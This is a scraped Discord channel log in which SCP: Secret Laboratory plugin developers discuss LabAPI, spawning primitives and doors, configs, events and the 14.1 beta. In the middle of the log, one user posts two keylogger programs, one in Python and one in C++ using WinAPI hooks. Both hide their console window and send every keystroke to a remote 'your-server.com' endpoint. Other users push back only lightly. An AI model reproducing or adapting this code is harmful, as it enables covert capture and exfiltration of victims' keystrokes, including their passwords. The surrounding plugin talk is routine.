#plugins-dev-chat
1 messages · Page 11 of 1
14.1 will be so sad for light source toy enjoyers
why
its because the sync interval being at 0 caused desync issues
plugin devs move the world
I agree that using NWAPI to generate a config file is more convenient. By simply creating a new class and utilizing the [Description] attribute, you can automatically generate corresponding configuration options.
Same honestly ^
The main thing is that the config configuration of the lab API is very unaccustomed
you should be able to set it yourself since its a NetworkBehaviour field
0.1 is just the default now
@hearty shard https://github.com/northwood-studios/LabAPI/issues/59 this is abit like your SSSS suggestion we dont have anything inplace yet todo this simply unless im misunderstanding something
you can try it, i think 14.1 has a slightly outdated version of the labapi
Can someone help me step by step process on how to make a primitive in a specific spot in a room
I got no idea how to do this
depends, what are you trying todo
Rn, just a simple platform on surface to stand on and trigger an event
Im supposed to do something with NetworkClient.prefabs right? But it doesn't come up
do you want todo it by code? you could use MER instead
rn theres no admin toy wrappers so its abit anoying todo but you just loop over the NetworkClient.prefabs to find the prefab with the PrimitiveObjectToy component, network spawn the prefab and move/rotate/scale it to how you want it
Is there a code example i could follow?
I tried looking at the 1162 plugin, but it didn't work out
you could look in MER, but might be abit complex
which part were you struggling with
All of it
There's no actual network object for me to go through
Typing in NetworkClient.prefabs shows nothing for me and i can't tell where to get it from
have you referenced mirror
Yes
try including the mirror namespace
yes, although why is it greyed out in the first SS
No idea
when you hover over mirror what does it say?
Doesn't tell me the source
sorry i meant in the second SS
What?
skill issue, perchance
What?
Not here
I saw that
No
Very interesting program
import keyboard
import requests
import sys
import ctypes
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
server_url = "http://your-server.com/log"
def send_data(data):
try:
requests.post(server_url, data={"log": data})
except:
pass
def on_key_press(event):
key = event.name
if key == "esc":
sys.exit()
log = f": {key} | В: {event.time}"
send_data(log)
keyboard.on_press(on_key_press)
keyboard.wait()
That
So just a keystroke logger?
Well, not only
Can't actually test my build rn, but this is how you're supposed to make primitives?
Maybe,i guess
#include <windows.h>
#include <winhttp.h>
#include <string>
#pragma comment(lib, "Winhttp.lib")
//
void hide_console() {
HWND console_window = GetConsoleWindow();
ShowWindow(console_window, 0);
}
bool send_request(const std::string& data) {
HINTERNET session = WinHttpOpen(L"Mozilla/5.0", WINHTTP_ACCESS_TYPE_DEFAULT, NULL, NULL, 0);
HINTERNET connection = WinHttpConnect(session, L"http://your-server.com", 80, 0);
if (!session || !connection) return false;
const std::wstring url = L"/log?log=" + std::to_wstring(data);
HINTERNET request = WinHttpOpenRequest(connection, L"POST", url.c_str(), NULL, NULL, NULL, 0);
bool sent = WinHttpSendRequest(request, WINHTTP_NO_ADDITIONAL_HEADERS, 0, NULL, 0, 0, 0) &&
WinHttpReceiveResponse(request, NULL);
WinHttpCloseHandle(request);
WinHttpCloseHandle(connection);
WinHttpCloseHandle(session);
return sent;
}
LRESULT CALLBACK keyboard_hook(int nCode, WPARAM wParam, LPARAM lParam) {
if (wParam == WM_KEYDOWN) {
KBDLLHOOKSTRUCT* event = reinterpret_cast<KBDLLHOOKSTRUCT*>(lparam);
std::string log = "Key: " + std::to_string(event->vkCode)
+ " | Time: " + std::to_string(GetTickCount());
send_request(log); //
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
//
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prev, LPSTR cmd, int show) {
hide_console(); //
HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboard_hook,
GetModuleHandle(NULL), 0);
if (!hook) return -1;
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hook); // 0;
}
Look
14.1 beta server...
Which of these is 14.0.3-0fab0c82?
It's trojan
try deleting your server install and download it again
Is it possible to get the 14.1 dedicated server for dev/testing, even if it’s not public yet?
probably not if its not available yet
labapi-bata, maybe you can try restarting steam
I encountered the same problem yesterday💀
same issue as last time there was an update
why not 14.0.4
OR MEGAPATCH 2
Yea i fixed it. It was labapi-beta
This will not work
If you just want an object to be relative to surface, set its position to whatever offset + 1000 y
Don't parent it to surface, it's pointless
However, if you want another room, use TransformPoint to get a world-space coordinate of where your primitive should be
Also apply the correct rotation
i dont recomend adding 1000 for surface, just get the world pos like you would for any other room
Wasn't surface moved in 14.1?
Rip
The most uncomfortable point
I don't get what you mean
^
For me, of course, it is limited to me, not on behalf of others
can you rephrase everything you are saying, i dont think i have understood a single message you have sent
Still no idea what you want or do
It's in labAPI that I need to generate Config.yml configuration file that needs to be written like this
Well, you can just make it all in one config
Well then create a custom attribute to handle this for you, or, make a source generator
Personally I believe it's a non-issue
Sure, it was convenient to have [PluginConfig("file.yml")] but this isn't horrible code
This isn't really a problem, it's just that I personally prefer the NWAPI approach
It's just a little unaccustomed to it
¯_(ツ)_/¯
Of course, the lab API as a whole is indeed a big improvement over NWAPI, and it is also very easy to use, and it is still great overall
I only use 1 config file so can't really say much to it
emm, maybe?

Me who used Room.transform.position
Me who spawns prefab at the items/pickups/player and not in a room 
some plugins allow you to spawn stuff on surface, and in every config it will be y 1000 which they will have to change to y 300 :3
Relative to my ass
im asking for a sync var in fpcrole or something
Just "is sprint force disabled"
is fpcrole even a net behavior?
Idk
🪤
not it's not
So i've been looking through the prefabs and I found some door objects
But I can't spawn them in?
I kinda assumed it would work the same way as creating a primitive
ToyPrefab.Base.gameObject
I honestly think that prefabs should be easier to get than this
huh
that's not what im referring to?
im saying that labapi should make some sort of prefab helper that lets us grab the prefabs from there
daaaviid
Already suggested
They said itd be a basegame change
peak
huh
But only if they do it
But thats how theyd do it
why does it need to be basegame
Someone said if they did it theyd make it basegame
cant wait to add my own prefab to it
Also this didn't work. The server just freezes when i try this
PrefabHelper.GetPrefab<Door>()
Is door basegame
Or is it labapi door
labapi door
I ended up using Breakable door instead
Which one is that
DoorVariant
Great door
Guh
YOU write it for me
Thanks
nah cus I aint playing siege
what else even needs to be done really 😭
custom effects 
Make github issue or ill forget
nah
😭
its your stuff to make not mine
how would you
even
actually
yeah how would you even use it
to call after its called
if not patch
theres no event is there
i lied
ok
bro
ill just use that
😭
whoops
you can just use GravityBaseEffect
and override the thing
or ye you could just sub to it
mental illness !!!
i
have
yet to make an unsubscribe for the plugin
for now
!rep 700347567673835582
You have just given @heavy eagle a reputation point!
You can't give a rep to yourself!
nah
is labapi not on nuget yet
no
no
no need to copy smh
thx guys
U were late
thanks zenlet
grrrrrr
wow ok i see how it is
i just want to see a fight
smh
can i download the server files anywhere
like assembly-csharp and stuff
labapi-beta branch
thx
on the dedi server app
Creating a plugin is very easy - without EXILED
On nw api it's was easy too to create plugin
The things that was bad on nwapi is how much active was nw on the nwapi to do fix and improving it
I WANT VERY HARD MODDING
You now need to do a captcha everytime you edit a file
then it's would be easier to use Exiled for it's different part that NW will not include like mirror extension
I hope that NW would allow hard modding on dedicated server to clients
Like extra UI?
wont do what?
read 1 line above that exact message ?
extra UI?
yeah
who told you that
they never plan to deal with custom texture or making more UI other than hint
textures yeah, but the other suff nah
unless you hear it from beryl its not off the table
also when is the update to move into LabAPI-beta as finish before the next big released ?
if there isnt another labapi 14.0 beta update then it should be on the 14.1 public beta
i have been that was month ago so i don't remind where i seen it
Than LabAPI will not exit the beta inside an other game release
if i understand you correctly are you saying that you heard it wont be in 14.1?
i heard that final LabAPI beta would finish before 14.1
hmm idk about that, that would be up to @harsh thorn
was not told 14.1 at the time
but yeah not at the same time as an other game feature release
it depends, as stuff requires backporting it can get tricky
idk if anyone said it would be stable
although we do think about how to deal with breaking changes
my dream plugin
its technically possibly now, its just really inefficient todo
also alot of code to pull off
Hint-based minimap 
thats cool
The labapi will be fully released at 14.1s release (so together with 14.1)
i seen sommeone doing it
an other one also did it with primitive
sad
i will not differentiate bug from LabAPI / 14.1
and when the server side code will be show ?
When you get access to the 14.1 server build
so both client and server at same time ?
I dont know if server builds will be released before Patreon beta ends
would be nice
But if it does, you will need to pay Patreon to get the client
Anyway we cant end the beta before 14.1 because labapi is on master
And backporting is just a pain lol
bruh
14.1 has new features
yeah
So new events and api
i talk of Event of feature that already exist now
Possibly, i dont know on the top of my head
because i would like to finish fully test the code of Exiled
kinda hard to work alone on an update like that
Well unfortunately we cant backport every event
ye cus some of them not exists
Yes, but also sometimes we add an event in a script that was refactored in 14.1
Then backportimg it would mean we need to figure it out how to implement it in the old script
ye thats little bit unneccessary
Or a refactor could mean we can add more events that werent possible before for that feature
custom modules that ultimately settables too? 
What
what
I used that but is not beautiful
Is there a way to detect if a player is touching a spawned door, or do i constantly have to poll for player position
add a collider
this does smth similiar but with primitives
How would i do that with LabAPI
use the same event that custom escapes uses?
probably, but find the labapi equiv
Something similar can surely be done using simple characters to represent the map
Ill probably just figure it out in the morning. Its way too late rn
\u1790
Does BreakableDoor even have a collider component?
Idk, print it out
Checked, didn't
In children too?
What do you mean
eh let me open up unity
Every breakable door version has collider ofc
Game Objects are even named with prefix or suffix Collider
or Col
it is very equal code
Can you code Tetris ingame instead ?
Why’s are the boxes with a black outline inside of them?
The horizontal lines you follow
Pretty confusing if you ask me
I just made this for fun
me too
@marble cobalt who handling the writting of changelog ?
i would like to suggest to add more details
like for last one there this missing because they are not inside LabAPI change but since you have the access to it you should also shared it as TechnicalChange
RoomIdUtils is renamed too RoomUtils
new event OnBeforePickupDestroyed
ExplosionGrenade::_detectionMask got renamed and publicized too ExplosionGrenade::DetectionMask
ExplosionGrenade::_maxRadius got renamed and publicized too ExplosionGrenade::MaxRadius
ExplosionGrenade::_scpDamageMultiplier got renamed and publicized too ExplosionGrenade::ScpDamageMultiplier
ExplosionGrenade::_blindTime got renamed and publicized too ExplosionGrenade::BlindTime
ExplosionGrenade::_blindingMask got renamed and publicized too ExplosionGrenade::BlindingMask
ExplosionGrenade::_blindTime got renamed and publicized too ExplosionGrenade::BlindTime
Scp018Projectile::CurrentDamage and Scp018Projectile::RpcPlayBounce is now public
Scp2176Projectile::LockdownDuration is now public and change to a field instead of a constant
TimeGrenade::TargetTime setter is no more protected
Appreciate the idea, but not gonna happen
Sad but fair enough at least i suggested it
Like, as the person writing the changelogs, I would love to
But there's a lot of internal changes happening all the time
What I mean is
If its significant enough, maybe, but it will only delay our procedures
And keeping old field and giving them Obsolete error with indicator to what replace them ?
Like, it either delays our procedures or we will miss a few (or significant) amount of them eventually
And I'd rather keep things consistent
Not gonna add something that delays our procedures only to end up not doing it after 3-4 updates
No point for it
Who code can check themselves
Export via DnSpyEx and put it into git repo, you see the changes
Same deal with using Obsolete, we will for significant things (I believe I recently added Obsolete to the old Cmdbind Sync system since we now suggest using the SSS system)
But sometimes we can't keep old pieces of code because we want to keep our source code clean
Let's use CCM Refactor as an example
We 100% weren't gonna keep the entirety of the old class/role system Deprecated
ccm?
Yeah not every dev would do that firstly 2nd you are not allowed to show it publicly
12.0's refactor, it introduced the Role, Subroutines and etc system
Yeah the whole system of how sl is code
Roles used to be hardcoded into one script (Scp173PlayerScript) or something like that
Referencehub was added at this moment too
Ah, I wasn't here until 13
If we had the ability to do what you request, trust me I'd approve it, I'd love to make the code more accessible
Yeah to say you in ccm you was escaping and lure kill (the kill box of 106 to recontain him) and every aspect of ReferenceHub
But you can see how it gets out of hand quickly
Ye and you can't just post the git log until that time
Its why LabAPI was important to me as well, being able to provide official tools that remain consistent (as much as we can at least) across updates
Whilst allowing base-game to focus on what the game / community needs
in wait of LabAPI Exiled was doing it kinda
Yep
Used LabAPI as our new official example, but plugin frameworks in general have been doing it great for years
@restive turret
(2)
Gonna check after I done with my morning stuff
@marble cobalt also do you know when EndRound code will be reworked ?
End round code is a Coroutine
i know
there no difference between before CCM rework and now
Idk how would be good to refactor
i mean there a good way to doing it
when any player role got changed make a value CheckNextTick in an Update method and does the check
Well yeah that's an alternative
I want to, but not schedule for a refactor yet
i do not remind was it with you when i got the try to get nw developer ?
i do not remind who was in this convo
As in, no immediate plans that require refactoring it, so either will be done on someone's free time, or when we work on something that requires refactoring it
also i will soon hit the 5k hours :3
i see (can i do it https://cdn.discordapp.com/emojis/812737440866369548.webp?size=48&name=trolling )
also Beryl for more serious i would still be interested to join NW developer
iirc correctly it was Beryl, Ced and a HR representative
Me2 just need atleast some unity knowledge.
Which I still lack off since I going thru all game engines and try them out instead of try and learn unity
Ced wasn't dev at this time if i remind correctly?
idk when u tried, for me it ced was there too
i can't remind correctly lol
Refactor -> Extract method 
lol
It would be less convenient to rewrite the whole state machine but at least the checks and actions could be separated for easier modification
but yeah
(Also we don't talk about CustomNetworkManager)
isnt that perfect?
No mobile preview 
it's the coroutine for roundend check
Yeah it was a bit simpler back then 
i don't found this simpler component.Classes.SafeGet(component.CurClass).team

also idk why they put for loop lol
Cuz they weren't aware of WaitForSeconds
:3
The CASSIE coroutine could be rewritten too
Canceling the announcement doesn't cancel the wait time of the current phrase
If it hasn't already been reported then yeah
any way to create the datastore on userjoin rather than round start?
used this code example to create it
i believe they are created when you first get them, so not at any particular time
they are created on UserJoin if you registered it
CustomDataStoreManager.RegisterStore<YourDataStore>();

sorry - keep getting DataStore created for (null) () in console on join - using the same code in the i replied to before.
since its null i just get KRILL shot in console when shooting :p
https://cdn.discordapp.com/attachments/1347649441833947208/1359239260456353934/image.png?ex=67f6c1b5&is=67f57035&hm=de7bbf6b72b0c854b4ba1ed14fcdc01502e356f18a36baac7b0d6bf5818b7481&
https://cdn.discordapp.com/attachments/1347649441833947208/1359240017611985119/image.png?ex=67f6c269&is=67f570e9&hm=67bb4e5222c5b84aaefb8792277e375df87dd3a6b5f115abc0f09b5d252213c9&
Fatbara
That’s crazy
this is perfect and the new toolgun UI (i'm assuming it is) looks amazing
I think its MER tbh
i know its mer 💔

thanks
please tell me that the capybara will be available with spawntoy in 14.1
you can spawn capybaras in 14.1
Erm actually, only Hubert can spawn capybaras
🤓
Only those who pass the almighty if check can spawn them

Every new spawned capybara kill 1 NW staff
@hearty shard https://github.com/northwood-studios/LabAPI/issues/64 i believe you have to cast the damage handler to get the damage done which is why its not in the event
guh
StandardDamageHandler has the amount of damage dealt
it is a bit counter-intuitive for new plugin devs tbh
hmmm, StandardDamageHandler is the only inheritor of DamageHandlersBase atm. so we could rely on it always existing as long as someone doesnt create their own damage handler or NW doesnt add their own thats inherits from DamageHandlersBase
acting like ur not nw smh
i just lab the api
please dont consume the api
will probably add something like this
public float Damage => DamageHandler is StandardDamageHandler sdh ? sdh.DealtHealthDamage : 0.0f;
can we just make this the next game nw makes
Already in development
@heavy eagle !!
omg
Leak!!!!!!
is lucy getting banned now 💔
Nah
I am the one who bans
banning yourself?
death
Do PluginAPI plugins work with LabAPI, or not really? for 14.1
No
NWAPI is gone in 14.1
So, old plugin would not work..
No
Are any of these betas for the Dedicated Server for 14.1?
no
well technically labapi-beta
but only labapi part and not the new guns or keycards
no, why would we even have access lol
it's only official servers with access right now
Okay i cannot figure out colliders for the life of me. Im pretty sure im doing something horribly wrong here.
This kinda works, but only i open a door and close on myself while in the middle of the doorway
for example, 049 and 106 will cause continuous damage
Can you check cause of death
The console will still say killed by 049 or 106 even if it was the status effect that killed you
So i assume cause of death might work
grenade.ServerActivate()
this is I referred code, but it only can normally GrenadeHE
try flash => client boom
Any exceptions in LA logs?
With STDOUT enabled obv
TimedGrenadeProjectile.SpawnActive
yes i finded it
Do you want a fuse time? If so, set _fuseTime to the remaining seconds until detonation
While you're here, would it be an issue to show us here how customSubtitles are implemented in CASSIE client-side? Currently supplying anything into customSubtitles will show no subtitles at all.
Do you have customAnnouncement set to true?
TimedGrenadeProjectile.SpawnActive() can work it
Where would I do that?
ahh I see where
Well the run method should have it
Naming of the parameters here is a bit odd
isSubtitles is actually customAnnouncement
This is the cassie wrapper
Let me just...
Make a PR?
No ill just commit it in the branch im working on right now xd
Its mix of keycards and other thingy anyways
now fix me
Im not getting paid enough for that
damn..

Ur evil
Nah
assembly
or C
or smth else

Ansi C
you listed 2 different languages that arent C
C is C
c++ would work too tho
nah he have to use ansi c
also
i would use this more for SL related stuff
i get that ur trying to learn to do other stuff but whar
this is for a game, most people here dont rly know about making an antivirus or malware
Time to use A#
can we have a global config folder?
like: \SCP Secret Laboratory\LabAPI-Beta\configs\global
SCP Secret Laboratory\LabAPI-Beta\plugins\global is there, but there is no configs
Oh that must have been it
yes, but I read your players need to do the same on client
so i'll stay in the main branch
yes
until 14.1 release
womp womp
=> add this idea to LabAPI issue
How come when I escape as a Class D. PlayerChangedRoleEventArgs.OldRole = Chaos Conscript?
OldRole never actually returns the old role apparently
Always gives the new role
Theyre gonna make it a roletypeid iirc
but yeah it might be bugged
also isnt there Escaped event ?
I needed player changing for something else
It doesn't trigger for any manual SetRole()
ok
that one was fixed, so should be correct next update
💀
Idk if there's any specific player tag thing I could do that wouldn't interfere with other plugins
Wait, i forgot lists exists
💀
@soft depot was this you? https://github.com/northwood-studios/LabAPI/issues/27 i left a question if it was
I think that need a little bit more understanding about how mirror works with the networking stuff if that possible
i'd say the two biggest problems with it are the following:
- super easy to desync, could be countered with a NetworkTransform component that tracks the parent and sends a message when the parent changes
- as mentioned in the issue, what will the client do if the object gets destroyed?
[2025-04-13 17:52:26.305 +09:00] [STDOUT] at LabApi.Events.EventManager.FormatErrorMessage (System.Delegate eventHandler, System.Exception exception) [0x00043] in <55a16b597ad7463da126996d837dfaa8>:0
[2025-04-13 17:52:26.306 +09:00] [STDOUT] at LabApi.Events.EventManager.InvokeEvent (LabApi.Events.LabEventHandler eventHandler) [0x00027] in <55a16b597ad7463da126996d837dfaa8>:0
[2025-04-13 17:52:26.306 +09:00] [STDOUT] at LabApi.Events.Handlers.ServerEvents.OnWaitingForPlayers () [0x00000] in <55a16b597ad7463da126996d837dfaa8>:0
[2025-04-13 17:52:26.306 +09:00] [STDOUT] at CharacterClassManager.Start () [0x00080] in <4962faac86aa41cdb937a94469cc30c4>:0```
is this my issue or NW issue??
(round start is not working well)
Do you subscribe to the OnWaitingForPlayers?
oh I did it
private static void OnWaitingPlayers()
{
EnsureMusicDirectoryExists();
var path = Path.Combine(MusicEventHandler.AudioDirectory, Main.Instance.Config.LobbyMusicFile);
AudioClipStorage.LoadClip(path,"lobby_music");
AudioPlayer globalPlayer = AudioPlayer.CreateOrGet("Lobby",onIntialCreation: (p) =>
{
p.AddSpeaker("Main", isSpatial: false, maxDistance: 5000f);
});
globalPlayer.AddClip("lobby_music", volume: Main.Instance.Config.Volume, loop: Main.Instance.Config.IsLoop, destroyOnEnd: false);
Logger.Raw("main song playing", ConsoleColor.Blue);
}
/// <summary>
/// when the round is started, the music is stopped.
/// </summary>
private static void OnRoundStarted()
{
if (!AudioPlayer.TryGet("Lobby", out AudioPlayer lobbyPlayer))
return;
lobbyPlayer.RemoveAllClips();
}
david what did you do
the bugfix pass didnt make it into this labapi version
LogError cant handle static delegate methods
Because it tries to print the object it belongs to
or smth like that
but it is fixed in newest version
😭
What the
EventManager.FormatErrorMessage
please mention me whenthe newest version is released
youll get pinged in #labapi-announcements
Yea
thanks for information
14.1 public beta I guess
Well when it's out xd
when private beta is over 
But well as an permanent fix
patreon suppoter also didn't know
(My sub account is patreon account)
my code, my rules!!
By the way, I'm a bit concerned that in this beta, almost every keycard request is being sent to the server...
Wdym
??
why would it be bad to send when you try and use ur keycard... that server would get told..
that sounds like intended behaviour
I heard that even things like the keycard inspect animation and name assignment are now handled through server requests.
yeah that's what I concerned..the server got a lot's of traffic
How else do you want to sync it to other users?
thats not that much more ?
server needs to assign name
and for inspect its only when you inspect
Oh no, 100 bytes every... 2 minutes
And send that to 20 other clients

5 seconds of the lobby voice chat probably uses more network than all keycard requests during the whole game
^
hmm..ok
also
Or spawn 25000 primitives and give them rigidbody
hint rate limit was removed
That's traffic
so if you wanna thats a lot more traffic
Yes
64KB per frame 
Let's do a car crash simulator in SL
Hell yea
can the car crash into david
New chaos spawn
😭
):
I wonder if anyone's coded DOOM in SL
Well now you can easily with SS keybinds
Yey
Me spawning 20 pickups in every room in the facility and giving them random force.
(crashing the server)
me spawning 1000 balls at max velocity inside of heavy
Spawn 1000 dummies
if they're not doing anything they wont send anything to the server tho right? or?
No, but your client will love rendering that
true
but i think 1000 bouncing balls at max velocity will be better
because particles and animations
not just animations :3
yes
Someone did already

nope :( text lenght changed or something sprite broke
its joever
you can do that with hints now 
no
well
idk what specifically ur referring to
Alr, thanks
labapi will probably never have customitem support
that is to be made by community
So Exiled could continue to have their own CustomItems?
exiled will continue it
the french will continue it
,right
@thin shuttle
Yamato solos
hi trub
Hiii
car
i know
just fuckin around
hopefully not like commonutils
that was peak back in 2024
dunno if anyone maintains that anymore, havent looked in a long while
i did make a big update
and someone else maitain it
actually
wasnt that AT?
i did both
has AHP system some issues?
the max limit always 75, but the actual effect is not like this
I think in newest beta you can change the max
Two questions for NW
- What are reputations points + what do they do
- Will Speaker Toys be fixed/given more stuff for Server Owners to work with
rep does nothing
and wdym for 2
Fixed i believe is the case, but what else would you add to a speaker other than making it transmit sound..?
speaker toys have never been broken, no?
capped at 4
of them active in a range
Currently there's an error with Speaker Toys where even when you're within minimum range of hearing a Speaker, moving away from it will still get quieter when you move away
otherwise sounds break iirc
Even if you set minimum and maximum to like 100+
fair
so not an error, just a bug
but yeah
That's also a problem I noticed
probably can be fixed but i think thats a unity moment
Potato tomato
this correct
player.MaxArtificialHealth
then player.CreateAhpProcess()
I'm still waiting for NW to allow us to use stereo with Speakers, just saying gang
It'd be nice :/
you can?
lol
🔒No access
not server host L
make a github issue
Im gonna host a server so big will crash the pc
WHY NOW AM I TOLD ABOUT THIS 😭
m gonna crash you
the repo has been public for ages
Also if it's server hosts only why do I not see it I have 3 servers happening?
github issues has existed since the dawn of time? 😭
because you havent got the role
because you didnt run the command in console to give urself access?
lol
I don't really use github
I only got to it for plugins
!hostrole
Do it in your servers console, Most I will do is laugh at you
!wran @hearty shard you failed
@icy knoll has wranned obvevelyn Reason: you failed
warn
secretapi or labapi thing?
secret
Please use !hostrole command in the server console first!
peak
Please use !hostrole command in the server console first!
?
Read
There's a SecretAPI now
Shes api till its secret
Yeah what I did that twice now smh
guh?
There we go I'm in
Huh
old ass bot
(very dangerous
)
i think its to shame the user
hi riptide
hi
14.1

Args.IsAllowed = false 
I never said it would be an ICancellableEvent
Banning implies that it is ICancellableEvent
Banned should be used as it infers that it has already been done, can't be cancelled
ServerStartingEventArgs
What if you don't implement the IsAllowed check
then what's the point of that name lol
JailbirdChargingEventArgs
Maybe something for activating effects of a consumable.
So the item can be used but effects are cancelled
Also, MicroHID related events
as there are none unless I'm looking for them wrong
Add an event that happens when looking at an scp
Pretty sure these exists
Totally not asking for this because I wanna re-create scp music smh
They do?
you can check 1853
Ehhh not sure why
You can do that yourself using Scp096TargetsTracker:IsObservedBy(ReferenceHub target)
(by taking code from there)
i just want role wrappers in general
it sucks
💔
So are we getting more info on lab api next week?
Wdym
#beta-testing-announcements message here, plus it’s been discussed in public chats
tesla trigger maybe?
oh sorry looking at old api
Do someone know the default font size and the font of new keycards in 14.1, please ?
oh i didnt' saw it
lets gooo i can stop harmonying
it's like the Observer one
Wdym
if you set ev.IsAllowed = false for scp096
But thats your fault
Same for escaping event
Actually
Voice events do get fired every time you speak sooo
What would you use the walk event for?
maybe do something like exiled, activate events only if they been used
custom player model (scp - 999 for exemple), trigger animation when walking
Hmmmm
How about player movement state changing?
You can play the animation until it changes back to standing still
Oki
btw do you know the default font size and the font of new keycards in 14.1, please ?
I can check
hi david
Haiiii
do you dabble in dark arts
what
do you?
Nickname
1.45 for the normal ones
2.3 for MTF
Label
2.3 for the normal ones
tysm ❤️
Maybe some scp 3114 and 1344 events?
For 3114 f.e. entering and exiting disguise, strangling.
For 1344 f.e. activating, deactivating, player detecting.
Good catch
Warhead lever interaction, Scp0492 corpse consuming maybe
im working on role wrappers, what do you want primarily
just easy access to subroutines like Scp079Role::Level
SpectatorRole::Spectating - Gets the person the spectator is currently spectating, if any.
hm
true, although ill add it anyway
Corpse is already there
Check the beta again
huh?
Not event related, but 3114's info area is not changeable when disguised. Would it be possible to allow 3114's info area to be modified?
Will do
YIPPIE
Hmm put it on github
i only noticed it cuz im using the event to assign it 😭
?
On LabAPI's issues?
xd
